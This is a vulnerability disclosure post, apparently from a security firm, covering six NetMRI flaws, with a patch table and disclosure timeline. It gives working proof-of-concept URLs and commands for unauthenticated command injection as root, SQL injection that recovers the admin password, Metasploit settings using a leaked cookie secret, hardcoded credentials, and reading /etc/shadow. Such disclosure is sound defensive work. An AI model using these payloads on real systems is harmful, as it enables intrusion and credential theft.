Multiple CVEs in Infoblox NetMRI: RCE, Auth Bypass, SQLi, and File Read Vulnerabilities
Introduction
Vulnerability Summary
While performing research on Infoblox’s NetMRI network automation and configuration management solution, we discovered 6 vulnerabilities in version 7.5.4.104695 of the NetMRI virtual appliance. These ranged from unauthenticated command injection (CVE-2025-32813), SQL injection (CVE-2025-32814), hardcoded credentials (CVE-2025-32815), cookie forgery, and arbitrary file read as root (CVE-2024-54188).
This post provides a detailed walkthrough of each vulnerability, including discovery techniques and how attackers could exploit the vulnerabilities.
Vendor: Infoblox
Product: NetMRI
Affected Platforms: Virtual Appliance (VM)
Confirmed Vulnerable Versions: 7.5.4.104695
Fixed Version: 7.6.1
Product URL: Infoblox NetMRI
CVE-2025-32813: Unauthenticated Command Injection in get_saml_request
An endpoint designed to retrieve SAML requests is vulnerable to unauthenticated command injection. The endpoint fails to sanitize the saml_id parameter which is concatenated into a system command, allowing OS commands to be executed.
This vulnerability exists in /infoblox/webapp/netmri/app/rails/app/controllers/application_controller.rb as seen below.
IO.popen executes the command string in a shell. By interpolating #{saml_id} directly into the command. The user input (request.parameters['saml_id']) can control part of the shell command. Although there is a check on saml_id, this does not prevent the command from being injected as long as the saml_id starts with an integer.
Proof of Concept
Visit the following URL in your browser or via curl:
https://<NETMRI_HOST>/webui/application/get_saml_request?saml_id=1%26http://$(whoami)
This results in the execution of the whoami command on the server. By prepending http:// to the command injection the output of the command will be displayed in the resulting response.
Or better yet, run commands as root using sudo.
https://<NETMRI_HOST>/webui/application/get_saml_request?saml_id=1%26http://$(sudo /bin/sh -c whoami)
This is possible due to a netmri ALL = NOPASSWD: /bin/sh entry in /etc/sudoers.
Remote Code Execution via Hardcoded Ruby Cookie Secret Key
This allows Remote Code Execution via a hardcoded ruby cookie secret. This vulnerability was not assigned a CVE ID by Infoblox as it was stated the underlying vulnerability is a known flaw with its own CVE referencing CVE-2013-0156.
The NetMRI virtual appliance includes a Ruby on Rails web component. We discovered the Rails session cookie signing key is hardcoded in the VM, located at:
/skipjack/app/rails/config/session_secret.txt
This value is hardcoded and was the same on every boot and VM downloaded.
Ruby on Rails deserializes session cookies if the signing key is valid. With access to this key, it’s possible to craft a malicious session leading to remote code execution (RCE).
Proof of Concept
As the Ruby cookie deserialization is a well-known vulnerability, there is a Metasploit module to exploit this. Metasploit’s rails_secret_deserialization module will generate a malicious cookie for the _netmri cookie using the hardcoded signing key and allow Remote Code Execution.
Metasploit Setup:
use exploit/multi/http/rails_secret_deserialization
set COOKIE_NAME _netmri
set RPORT 443
set SSL true
set SECRET b525fc341ce5f4d76505e7664863750f865823ba866c536e0246c195cd6cf19cc63771d6becd71c99f5beef080ac27bc3b4f72430840d83cb4efd62acb7c6dcf
set TARGETURI /webui/gui_states/index.json
run
CVE-2025-32814: Unauthenticated SQL Injection via skipjackUsername
NetMRI’s login page is vulnerable to unauthenticated SQL injection through the skipjackUsername GET parameter. This parameter is the username supplied when logging into the application. By injecting crafted SQL, we can extract database information. This was easily identified by the verbose error message when inserting a double quote into the skipjackUsername parameter.
Proof of Concept
The following crafted URL to retrieve the cleartext admin password using error-based SQL Injection:
curl -k https://<NETMRI_HOST>/netmri/config/userAdmin/login.tdf?skipjackUsername=admin"+AND+updatexml(rand(),concat(CHAR(126),NetmriDecrypt((select%20PasswordSecure%20from%20skipjack.ACLUser%20where%20UserName="admin"),"password",1),CHAR(126)),null)--&skipjackPassword=anything&weakPassword=true&eulaAccepted=Accept&mode=DO-LOGIN
CVE-2025-32815: Authentication Bypass via Hardcoded Credentials
Inside the NetMRI VM, the file syslog.cfg and its template version contain hardcoded Process Manager (PM) credentials. These can be used to authenticate against internal endpoints.
The following files were found to contain the credentials:
/tools/skipjack/app/WEB-INF/conf/syslog.cfg
/tools/skipjack/app/WEB-INF/conf/syslog.cfg.tmpl
Proof of Concept
Use curl and the _pm user credentials to interact with the SetCookie APIs:
curl -u '_pm:pm19726' -c - -k "https://<NETMRI_HOST>/netmri/common/SetRawCookie.tdf?name=letmein&value=%78%79%7a%0d%0a%55%73%65%72%4e%61%6d%65%3d%61%64%6d%69%6e"
curl -u '_pm:pm19726' -c - -k "https://<NETMRI_HOST>/netmri/common/SetCookie.tdf?name=letmein&value=%78%79%7a%0d%0a%55%73%65%72%4e%61%6d%65%3d%61%64%6d%69%6e"
CVE-2024-54188: Authenticated Arbitrary File Read as Root
This allows authenticated users to read any file as root, exposing sensitive data. A Java servlet intended to retrieve files for creating graph reports can be abused to read arbitrary files.
Proof of Concept
After authentication or using an authenticated cookie in a curl request, request the following URL:
https://<NETMRI_HOST>/visual/ViewerFileServlet?fileName=/etc/shadow
CVE-2024-52874: Authenticated SQL Injection in Run.tdf
A final vulnerability allows authenticated users can trigger SQL injection in the Run.tdf endpoint through the Scripts parameter.
Proof of Concept
Ensure you are logged in as an admin and then open the following URL:
https://<NETMRI_HOST>/netmri/ccs/tx/run/Run.tdf?Scripts=1+AND+updatexml(rand(),concat(CHAR(126),NetmriDecrypt((select%20PasswordSecure%20from%20skipjack.ACLUser%20where%20UserName="admin"),"password",1),CHAR(126)),null)--
Conclusion
This group of vulnerabilities — including unauthenticated command injection, RCE via Ruby cookie forgery, and privilege escalation — represents critical unauthenticated and privileged risks for organizations running NetMRI 7.5.4.104695. We recommend updating affected systems with the patches and updates released by Infoblox.
Proof of concept code can be found in our CVE GitHub repository: https://github.com/RhinoSecurityLabs/CVEs
Vendor KB Articles
| CVE IDs | Issue | KB Article Link |
| CVE-2025-32813 | Unauthenticated Command Injection in get_saml_request | https://support.infoblox.com/s/article/Infoblox-NetMRI-is-vulnerable-to-CVE-2025-32813 |
| CVE-2025-32814 | Unauthenticated SQL Injection in SkipjackUsername | https://support.infoblox.com/s/article/Infoblox-NetMRI-is-vulnerable-to-CVE-2025-32814 |
| CVE-2025-32815 | Authentication Bypass via Hardcoded Process Manager Credentials | https://support.infoblox.com/s/article/Infoblox-NetMRI-is-vulnerable-to-CVE-2025-32815 |
| CVE-2024-52874 | Authenticated SQL Injection in Run.tdf | https://support.infoblox.com/s/article/Infoblox-NetMRI-is-vulnerable-to-CVE-2024-52874 |
| CVE-2024-54188 | Authenticated Arbitrary File Read As Root | https://support.infoblox.com/s/article/Infoblox-NetMRI-is-vulnerable-to-CVE-2024-54188 |
Vulnerability Disclosure Timeline
| Date | Event |
| 9/18/2024 | Initial vulnerability disclosure sent to Infoblox PSIRT. |
| 9/19/2024 | Infoblox acknowledges the report and begins an investigation. |
| 11/8/2024 | Infoblox confirms validation of the issues and begins work on fixes and CVEs. |
| 4/4/2025 | Infoblox confirms resolution in NetMRI version 7.6.1 and ongoing work on older versions. |
| 4/6/2025 | Infoblox confirms CVEs reserved for two issues: – CVE-2024-52874 (Authenticated SQLi) – CVE-2024-54188 (Authenticated Arbitrary File Read) |
| 4/8/2025 | Rhino Security Labs expresses concern over grouped CVEs; requests separate IDs. |
| 4/9/2025 | Infoblox agrees and registers 3 additional CVEs: – CVE-2025-32813 (Unauthenticated Command Injection) – CVE-2025-32814 (Unauthenticated SQL Injection) – CVE-2025-32815 (Authentication Bypass) |
| 4/17/2025 | Infoblox requests blog disclosure be postponed until end of May 2025 to allow for hotfix distribution. |
| 6/4/2025 | Public disclosure. |